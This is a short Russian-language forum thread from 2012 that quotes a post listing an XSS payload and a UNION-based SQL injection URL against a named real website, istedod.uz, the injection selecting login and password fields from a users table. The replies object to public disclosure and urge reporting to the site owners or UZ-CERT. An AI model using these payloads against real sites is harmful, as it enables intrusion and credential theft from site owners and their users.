istedod.uz - XSS, SQL injection

Dmitry Paleev · 24.08.2012 09:43

Цитата:

Сообщение от insider

Код:

http://istedod.uz/?page&pid=8--%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E

Код:

http://istedod.uz/?page&pid=8%20and%201=0%20union%20select%201,parol,3,login%20from%20users%20--

Было бы лучше, если бы Вы сообщали напрямую владельцам, либо в Службу UZ-CERT об обнаруженных угрозах на веб-сайтах в доменой зоне .UZ Публичное размещение уязвимостей, может повлечь за собой возможные взломы и компрометацию этих ресурсов, что может неблагоприятно сказаться на их работе.

Eldar Ishimbaev · 24.08.2012 09:47

Цитата:

Сообщение от Dmitry Paleev

Публичное размещение уязвимостей, может повлечь за собой возможные взломы и компрометацию этих ресурсов

Ну или проблемы для того, кто разместил данную информацию.

Знаете ли Вы, что ...
	...до того как открыть новую тему, стоит использовать поиск: такая тема уже может существовать.
	<< Предыдущий совет - Случайный совет - Следующий совет >>